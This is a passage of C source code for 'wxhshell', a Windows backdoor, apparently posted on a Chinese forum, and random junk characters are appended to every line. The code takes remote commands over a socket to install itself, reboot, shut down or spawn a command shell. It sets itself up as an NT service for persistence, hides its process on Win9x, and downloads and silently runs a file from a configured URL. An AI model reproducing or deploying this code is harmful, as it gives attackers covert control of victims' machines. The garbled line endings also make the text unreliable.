)t#v55M  
    switch(cmd[0]) { ja_.{Zv  
  [$bK%W{f  
  // 帮助 UW?(-_8  
  case '?': { =Co[pt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "{igrl8  
    break; \dzHG/e  
  } =8!FY"c*  
  // 安装 Munal=wL  
  case 'i': { 3gcDc~~=  
    if(Install()) F4|Z:e,Hr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v.~uJ.T  
    else j$u=7Z&E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [G=+f6 a  
    break; ^jiYcg@_[  
    } E#L"*vh  
  // 卸载 $ZEwz;HNo  
  case 'r': { :w+2L4lGs  
    if(Uninstall()) ]LE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h jCkj(b  
    else 3tZC&!x?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ O#6H5F  
    break; #F~^m  
    } S# 9EBw7  
  // 显示 wxhshell 所在路径 ?8O %k<?  
  case 'p': { *;noZ9{"+  
    char svExeFile[MAX_PATH]; ee+*&CT)  
    strcpy(svExeFile,"\n\r"); <PayP3E  
      strcat(svExeFile,ExeFile); 2VgDM6h  
        send(wsh,svExeFile,strlen(svExeFile),0); s,*kWy"jp  
    break; 6L)]nE0^  
    } jwe^(U  
  // 重启 tU :,s^E"#  
  case 'b': { fZH";_"1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k-`5T mW  
    if(Boot(REBOOT)) ZI0C%c.~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t;?TXAA  
    else { f L}3I(VK  
    closesocket(wsh); IB sQaxt.  
    ExitThread(0); <:t D m  
    } e/{1u$  
    break; ^q$m>|KI  
    } 7Y?=ijXXx\  
  // 关机 #w *]`5 T  
  case 'd': { :4(.S<fH)-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x^J}]5{0  
    if(Boot(SHUTDOWN)) 0bt"U=x4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7P!Hryy  
    else { }z$_=v  
    closesocket(wsh); jQgy=;?Lwm  
    ExitThread(0); 1syI%I1  
    } :k"VR,riF  
    break; j%V95M% $  
    } Gh:hfHiG  
  // 获取shell *u|bmt  
  case 's': { ?<l,a!V'6  
    CmdShell(wsh); z'(][SB  
    closesocket(wsh); J!5>8I(_wX  
    ExitThread(0); 8)1 k>=  
    break; x2KIGG ^  
  } ;Rz+4<  
  // 退出 etPb^&#$  
  case 'x': { }!W,/=z*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J=*X%^jX9Z  
    CloseIt(wsh); <H,q( :pM  
    break; ^zv,VD  
    } Buue][[  
  // 离开 ];vEj*jCX  
  case 'q': { c5($*tTT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S"/M+m+ ]  
    closesocket(wsh); T"NDL[*  
    WSACleanup(); {}#W~1`  
    exit(1); +] .Zs<  
    break; :+G1=TuXw~  
        } BfcpB)N&.K  
  } _I&];WM\  
  } w,<nH:~  
xux j  
  // 提示信息 Do3g^RD#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZP]l%6\.  
} <ah!!  
  } BaLvlB  
RbY=O OQ  
  return; h^tU*"   
} O!3MXmaO  
ex- 0@  
// shell模块句柄 bw@"MF{  
int CmdShell(SOCKET sock) [xTu29X.  
{ mihR *8p  
STARTUPINFO si; +~E;x1&'  
ZeroMemory(&si,sizeof(si)); p\7(`0?8VN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w=]bj0<A=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S:*.,zC  
PROCESS_INFORMATION ProcessInfo; ?dJ[? <aG  
char cmdline[]="cmd"; 6zJ<27  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y" (-O%Pe  
  return 0; >AbgJ*X.  
} ^ RS?y8  
g.& n X/  
// 自身启动模式 %LH~Im=  
int StartFromService(void) Spnshv8  
{ Nan@SuKY  
typedef struct 3k AhvL  
{ E*uz|w3S)Y  
  DWORD ExitStatus; x}8 U\  
  DWORD PebBaseAddress; sNet[y:O3  
  DWORD AffinityMask; w;LIP!T#  
  DWORD BasePriority; Jj_ t0"  
  ULONG UniqueProcessId; L=ala1{O  
  ULONG InheritedFromUniqueProcessId; kb27$4mm  
}   PROCESS_BASIC_INFORMATION; $rb #k{  
?8g*"& cn  
PROCNTQSIP NtQueryInformationProcess; :r{;'[38  
GkhaB(btk'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oi@/H\7j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j J}3WJ  
yc#0c[ZQu  
  HANDLE             hProcess; lji&]^1  
  PROCESS_BASIC_INFORMATION pbi; X0h`g)Bbf  
8BL ]]gT-I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *gq~~(jH  
  if(NULL == hInst ) return 0; Z'vic#  
O>5xFz'm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QO0#p1fom'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q&j4PR{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <vMdfw"(  
;^Q - 1  
  if (!NtQueryInformationProcess) return 0; oVG/[e|c'  
o@&Hc bN^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 69z,_p$@:  
  if(!hProcess) return 0; w?r   
D4@'C4kL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~^&]8~m*d  
jp~C''Sj  
  CloseHandle(hProcess); ^7q qO%  
#- l1(m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +@U}gk;#c  
if(hProcess==NULL) return 0; zlUXp0W  
n<}t\<LG^c  
HMODULE hMod; 1Qc>A8SU  
char procName[255]; 2|LgUA?<  
unsigned long cbNeeded; Ewfzjc  
j9V*f HK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cgQ4JY/6  
XLog+F$`  
  CloseHandle(hProcess); %^5|3l3y  
;;A8TcE '  
if(strstr(procName,"services")) return 1; // 以服务启动 4iXB`@k  
:`pgdn  
  return 0; // 注册表启动 0[f8Gb3  
} _a~uIGN  
&<oZl.T  
// 主模块 ([mC!d@a  
int StartWxhshell(LPSTR lpCmdLine) \:'|4D]'I  
{ h{J=Rq  
  SOCKET wsl; aSN"MTw.  
BOOL val=TRUE; d x/NY1  
  int port=0; Z=L~W,0'  
  struct sockaddr_in door; ]TE,N$X  
 QB/H  
  if(wscfg.ws_autoins) Install(); u?ALZxj?  
?hz9]I/8  
port=atoi(lpCmdLine); #@i1jZ  
#>]o'KQx  
if(port<=0) port=wscfg.ws_port; #QWG5  
k*?Axk#  
  WSADATA data; 5._=m"Pl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Za*QX|  
P5qY|_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tlz $LI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T6P9Icv?@7  
  door.sin_family = AF_INET; ;Q1/53Y<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w9Eb\An  
  door.sin_port = htons(port); MPexc5_  
m(CbMu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YH:murJMZ  
closesocket(wsl); %[ Z[  
return 1; w 2o% {n\L  
} <0P7NC:Ci  
)[w_LHKI  
  if(listen(wsl,2) == INVALID_SOCKET) { xu]>TC1  
closesocket(wsl); j06Xz\c  
return 1; BEm~o#D  
} I^CKq?V?:  
  Wxhshell(wsl); K+`$*vS~ws  
  WSACleanup(); gz,x6mnQ  
~> xVhd  
return 0; !oJ226>WI  
^GyGh{@,f  
} $bGe1\  
/+11`B09  
// 以NT服务方式启动 KMhEU**  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YgeU>I|v  
{ JfrPK/Vn  
DWORD   status = 0; zv Dg1p  
  DWORD   specificError = 0xfffffff; !9n!:"(r  
N ?RJuDW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]+OHxCj:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #S*@RKSE|7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A`H&" A  
  serviceStatus.dwWin32ExitCode     = 0; ]tu:V,q  
  serviceStatus.dwServiceSpecificExitCode = 0; U&(TqRi,  
  serviceStatus.dwCheckPoint       = 0; uTX0lu;  
  serviceStatus.dwWaitHint       = 0; Nydhal00  
&3o[^_Ti  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FtEmSKD  
  if (hServiceStatusHandle==0) return; 7jf%-X  
K4H U 9!  
status = GetLastError(); ZjOUk;H?  
  if (status!=NO_ERROR) KBb{Z;%  
{ %+1;iuDL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _w'N&#  
    serviceStatus.dwCheckPoint       = 0; b6LwKUl  
    serviceStatus.dwWaitHint       = 0; B!z-O*fLE1  
    serviceStatus.dwWin32ExitCode     = status;  .L vg $d  
    serviceStatus.dwServiceSpecificExitCode = specificError; "%,KZI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K<3$>/|  
    return; +RuPfw{z  
  } y5v}EX`m&  
a9w1Z4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w<4,;FFlZ/  
  serviceStatus.dwCheckPoint       = 0; Gx$rk<;ZW  
  serviceStatus.dwWaitHint       = 0; oD0N<Ln}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #U=}Pv~wM  
} =$^<@-;  
:kaHvf  
// 处理NT服务事件,比如:启动、停止 #Is/j =  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bM9:h  
{ uPp9 UW  
switch(fdwControl) + pq/:h  
{ 2f=7`1RCD  
case SERVICE_CONTROL_STOP: -%h0`hOG{  
  serviceStatus.dwWin32ExitCode = 0; 60A E~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UP*\p79oO  
  serviceStatus.dwCheckPoint   = 0; nj@l5[  
  serviceStatus.dwWaitHint     = 0; RjOQSy3  
  { On^jHqLaE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )]^xy&:|  
  }  =Y0>b4  
  return; .ZB/!WiF  
case SERVICE_CONTROL_PAUSE: (t{m(;/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Q!3p={S*  
  break; 4ZRE3^y\"  
case SERVICE_CONTROL_CONTINUE: .&Vy o<9Ck  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wb|xEwqd`  
  break; p{sbf;-x}  
case SERVICE_CONTROL_INTERROGATE: mp\`9j+{  
  break; hlgBx~S[  
}; |PI]v`[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z ]d^%>Ef  
} i l)LkZ@  
.\W6XRw  
// 标准应用程序主函数 `!K!+`Z9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X5M{No>z  
{ v+3-o/G7  
LMV0:\>  
// 获取操作系统版本 y'a(>s(  
OsIsNt=GetOsVer(); @t;WdbxB%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xz#.3|_('  
+Yuy%VT  
  // 从命令行安装 "n4' \ig  
  if(strpbrk(lpCmdLine,"iI")) Install(); S!/N lSr<  
&)8-iO  
  // 下载执行文件 Gm]]Z_  
if(wscfg.ws_downexe) { T{L{<+9%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SiM1Go}#  
  WinExec(wscfg.ws_filenam,SW_HIDE); @_O,0d g  
} #ilU(39e  
lF=l|.c  
if(!OsIsNt) { <Bmqox0  
// 如果时win9x,隐藏进程并且设置为注册表启动 ][b2Q>  
HideProc(); ~HR/FGe?N  
StartWxhshell(lpCmdLine); LPOZA`  
} |H,g}XWMU  
else nt"8kv  
  if(StartFromService()) {O"?_6',  
  // 以服务方式启动 NWGSUUa  
  StartServiceCtrlDispatcher(DispatchTable); /f:)I.FUm  
else [~ Wiy3n  
  // 普通方式启动 `F#<qZSR  
  StartWxhshell(lpCmdLine); {U`B|  
${/"u3a_  
return 0; T%Vg0Y)P;  
}
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只看该作者 1 发表于: 2006-10-10
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